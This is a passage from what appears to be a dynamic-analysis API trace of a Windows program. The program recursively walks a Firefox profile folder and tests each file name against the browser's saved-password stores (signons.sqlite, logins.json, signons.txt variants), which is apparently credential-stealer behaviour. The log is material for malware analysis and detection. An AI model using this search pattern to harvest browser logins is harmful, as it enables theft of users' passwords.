lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0047.529] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.529] lstrlenA (lpString="\\") returned 1 [0047.529] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74d558 [0047.529] lstrcpyA (in: lpString1=0x74d558, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.529] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.529] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.529] lstrlenA (lpString="bookmarkbackups") returned 15 [0047.529] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0047.529] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.529] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0047.529] LocalFree (hMem=0x74d558) returned 0x0 [0047.529] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0047.529] lstrlenA (lpString="\\*.*") returned 4 [0047.529] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0047.529] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0047.529] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0047.529] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0047.529] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.529] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.530] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.530] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.530] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.530] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0047.530] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0047.530] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0047.530] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0047.530] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0047.530] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.530] LocalFree (hMem=0x74da88) returned 0x0 [0047.530] LocalFree (hMem=0x74d998) returned 0x0 [0047.530] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.530] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0047.530] lstrlenA (lpString="cert8.db") returned 8 [0047.530] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0047.530] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0047.530] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.530] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0047.530] lstrlenA (lpString="compatibility.ini") returned 17 [0047.530] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0047.530] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0047.530] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.530] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.530] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0047.530] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0047.530] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.530] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.530] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.530] lstrlenA (lpString="cookies.sqlite") returned 14 [0047.530] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0047.530] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.530] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.530] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.530] lstrlenA (lpString="downloads.sqlite") returned 16 [0047.530] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0047.530] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.530] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.531] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.531] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0047.531] lstrlenA (lpString="extensions.ini") returned 14 [0047.531] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0047.531] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0047.531] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0047.531] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0047.531] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.531] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.531] lstrlenA (lpString="extensions.sqlite") returned 17 [0047.531] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0047.531] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0047.531] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.531] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.531] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.531] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0047.531] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0047.531] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.531] lstrlenA (lpString="\\") returned 1 [0047.531] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74d558 [0047.531] lstrcpyA (in: lpString1=0x74d558, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.531] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.531] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.531] lstrlenA (lpString="healthreport") returned 12 [0047.531] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74d638 [0047.531] lstrcpyA (in: lpString1=0x74d638, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.531] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0047.531] LocalFree (hMem=0x74d558) returned 0x0 [0047.531] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0047.531] lstrlenA (lpString="\\*.*") returned 4 [0047.531] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0047.531] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0047.531] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0047.531] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0047.532] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.532] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.532] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.532] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.532] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0047.532] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0047.532] LocalFree (hMem=0x74d998) returned 0x0 [0047.532] LocalFree (hMem=0x74d638) returned 0x0 [0047.532] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.532] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.532] lstrlenA (lpString="healthreport.sqlite") returned 19 [0047.532] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0047.532] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0047.532] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.532] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.532] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.532] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0047.532] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0047.532] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.532] lstrlenA (lpString="\\") returned 1 [0047.532] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74d558 [0047.532] lstrcpyA (in: lpString1=0x74d558, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.532] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.532] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.532] lstrlenA (lpString="indexedDB") returned 9 [0047.532] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74d638 [0047.532] lstrcpyA (in: lpString1=0x74d638, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.532] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0047.532] LocalFree (hMem=0x74d558) returned 0x0 [0047.532] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0047.532] lstrlenA (lpString="\\*.*") returned 4 [0047.532] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74d720 [0047.532] lstrcpyA (in: lpString1=0x74d720, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0047.532] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0047.532] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0047.532] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.532] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.533] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.533] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.533] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0047.533] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0047.533] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0047.533] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0047.533] lstrlenA (lpString="\\") returned 1 [0047.533] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74d808 [0047.533] lstrcpyA (in: lpString1=0x74d808, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0047.533] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0047.533] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0047.533] lstrlenA (lpString="moz-safe-about+home") returned 19 [0047.533] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0047.533] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0047.533] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0047.533] LocalFree (hMem=0x74d808) returned 0x0 [0047.533] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0047.533] lstrlenA (lpString="\\*.*") returned 4 [0047.533] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74d808 [0047.533] lstrcpyA (in: lpString1=0x74d808, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0047.533] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0047.533] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 0x72dd50 [0047.533] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.533] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 1 [0047.533] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.533] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.533] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 1 [0047.533] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0047.533] lstrlenA (lpString=".metadata") returned 9 [0047.533] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0047.533] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0047.533] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0047.533] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0047.533] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 1 [0047.533] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0047.534] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0047.534] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0047.534] lstrlenA (lpString="\\") returned 1 [0047.534] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x74f980 [0047.534] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0047.534] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0047.534] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0047.534] lstrlenA (lpString="idb") returned 3 [0047.534] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fa80 [0047.534] lstrcpyA (in: lpString1=0x74fa80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0047.534] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0047.534] 